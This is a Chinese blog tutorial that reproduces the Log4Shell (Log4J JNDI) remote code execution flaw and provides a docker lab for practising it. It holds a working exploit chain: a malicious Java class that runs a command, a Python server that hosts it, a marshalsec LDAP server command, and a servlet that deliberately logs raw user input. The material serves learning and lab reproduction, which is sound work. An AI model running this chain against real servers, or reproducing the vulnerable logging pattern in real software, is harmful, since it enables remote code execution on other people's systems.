Log4J 漏洞复现+漏洞靶场

简介: Log4J 漏洞复现+漏洞靶场

5992ca2bcc7fc6f9f27b2a39b0d9f1e3_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg


前言


昨天晚上朋友圈算是过了年了,一个log4j大伙都忙了起来,看着朋友圈好久没这么热闹了。Apache 的这个log4j这个影响范围的确是大,包括我自己做开发的时候也会用到log4j,这就很尴尬了。

大家也不要在公网上疯狂测试了,我给大家带来了漏洞靶场,攻击视频在下文,一步一步教你。

漏洞原理我改天会详细的写一篇文章出来,今天就主要是复现一下漏洞。

昨晚爆出的log4j rce 是通过lookup触发的漏洞,但jdk1.8.191以上默认不支持ldap协议,对于高版本jdk,则需要一定的依赖。不过为了给大家最简单的说明,我这里还是用jdk1.8.144的版本来运行。

这个漏洞和fastjson的漏洞利用如出一辙,首先需要编写一个恶意类。

publicclassExploit {

  publicExploit(){

      try{

          // 要执行的命令

          String[] commands= {"open", "/System/Applications/Calculator.app"};

          Processpc=Runtime.getRuntime().exec(commands);

          pc.waitFor();

     } catch(Exceptione){

          e.printStackTrace();

     }

 }

  publicstaticvoidmain(String[] argv) {

      Exploite=newExploit();

 }

}

这里是弹出计算器

把这个类编译之后会得到一个Exploit.class,然后需要在当前目录下启动一个web服务,

python3 -m http.server 8100

af8061bb47368f85f7906ba1f0da15b0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

然后用marshalsec IDAP服务,项目地址:https://github.com/mbechler/marshalsec

java -cp /Users/fengxuan/Downloads/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit"

8a939e64e4a24d1b04ca8d1375fa0b25_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

漏洞类

packagecom.evalshell.webstudy;

importorg.apache.logging.log4j.LogManager;

importorg.apache.logging.log4j.Logger;

importjava.io.*;

importjavax.servlet.ServletException;

importjavax.servlet.http.*;

importjavax.servlet.annotation.*;

@WebServlet(name="helloServlet", value="/hello-fengxuan")

publicclassHelloServletextendsHttpServlet {

  privateStringmessage;

  privatestaticfinalLoggerlogger=LogManager.getLogger(HelloServlet.class);

  publicvoidinit() {

      message="Hello World!";

 }

  publicvoiddoGet(HttpServletRequestrequest, HttpServletResponseresponse) throwsIOException {

      response.setContentType("text/html");

      response.setHeader("Content-Type", "text/html; charset=utf-8");

      System.out.println(request.getQueryString());

      // Hello

      PrintWriterout=response.getWriter();

      out.println("<html><body>");

      out.println("<span>你好,兄弟,请用post请求来搞我!</span>");

      out.println("</body></html>");

 }

  protectedvoiddoPost(HttpServletRequestreq, HttpServletResponseresp) throwsServletException, IOException {

      Stringname=req.getParameter("c");

      System.out.println(name);

      logger.error(name);

      resp.setContentType("text/html");

      resp.setHeader("Content-Type", "text/html; charset=utf-8");

      PrintWriterout=resp.getWriter();

      out.println("<html><body>");

      out.println("<h1>可恶!又被你装到了!</h1>");

      out.println("</body></html>");

 }

  publicvoiddestroy() {

 }

}

最后运行


漏洞靶场


为了互联网的安全,也为了给大家学习的环境,有很多同学不知道如何复现,我搭建了一个漏洞靶场,我编写的docker-compose.yml

地址是:https://github.com/fengxuangit/log4j_vuln

或者直接运行命令

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

docker exec -it log4j_vuln_container /bin/bash

/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

然后访问你的8080的端口, 访问 http://127.0.0.1:8080/webstudy/ 就可以了, post的参数为c

按照视频教程玩就行。你的靶场你自己随便玩!



相关文章
|
9月前
|
安全 Java 开发者
刚折腾完Log4J,又爆Spring RCE核弹级漏洞
继Log4J爆出安全漏洞之后,又在深夜,Spring的github上又更新了一条可能造成RCE(远程命令执行漏洞)的问题代码,随即在国内的安全圈炸开了锅。有安全专家建议升级到JDK 9以上,有些专家又建议回滚到JDK 7以下,一时间小伙伴们不知道该怎么办了。大家来看一段动画演示,怎么改都是“将军"。
85 1
|
10月前
|
运维 安全 Java
Log4j2 远程代码执行漏洞——总结
前两天网络有爆料log4j安全漏洞,安全大于天,于是也加入到这个和时间赛跑的临时事件中。对于安全漏洞网上有很多文章,内容都大同小异,不过针对于这件事小编下面的故事一定能让读者有"意外"收获。
|
7月前
|
安全 Java 大数据
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
|
8月前
|
安全 Java Shell
Apache Log4j2 远程代码执行漏洞
Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。
64 2
|
9月前
|
安全 druid Java
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
近期一个 Apache Log4j 远程代码执行漏洞细节被公开,攻击者利用漏洞可以远程执行代码。经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
230 1
|
9月前
|
安全 网络协议 Java
【紧急】Log4j又发新版2.17.0,只有彻底搞懂漏洞原因,才能以不变应万变,小白也能看懂
经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。
256 0
|
10月前
|
Kubernetes 安全 中间件
Traefik 如何保护应用免受 Log4j2 漏洞的影响
2021 年 12 月 10 日,Apache Log4j2 中的一个被称为 “Log4Shell” 的漏洞被发布(CVE-2021-44228),引入了严重的安全风险。作为 Java 应用程序日志库中的一个核心组件,其广泛用于著名的开源项目以及企业级后端应用程序。在本文中,我们将向您展示 Traefik 如何基于插件系统帮助我们的业务缓解此问题。
102 0
|
JSON 安全 Java
使用goby检测log4j漏洞
使用goby检测log4j漏洞
|
6天前
|
Java Spring
【Spring Boot】logback和log4j日志异常处理
【1月更文挑战第25天】【Spring Boot】logback和log4j日志异常处理
|
6天前
|
SQL Java 数据库连接
Mybatis之Mybatis简介、搭建Mybatis相关步骤(开发环境、maven、核心配置文件、mapper接口、映射文件、junit测试、log4j日志)
【1月更文挑战第2天】 MyBatis最初是Apache的一个开源项目iBatis, 2010年6月这个项目由Apache Software Foundation迁移到了Google Code。随着开发团队转投Google Code旗下,iBatis3.x正式更名为MyBatis。代码于2013年11月迁移到Github iBatis一词来源于“internet”和“abatis”的组合,是一个基于Java的持久层框架。iBatis提供的持久层框架包括SQL Maps和Data Access Objects(DAO)
210 3
Mybatis之Mybatis简介、搭建Mybatis相关步骤(开发环境、maven、核心配置文件、mapper接口、映射文件、junit测试、log4j日志)

热门文章

最新文章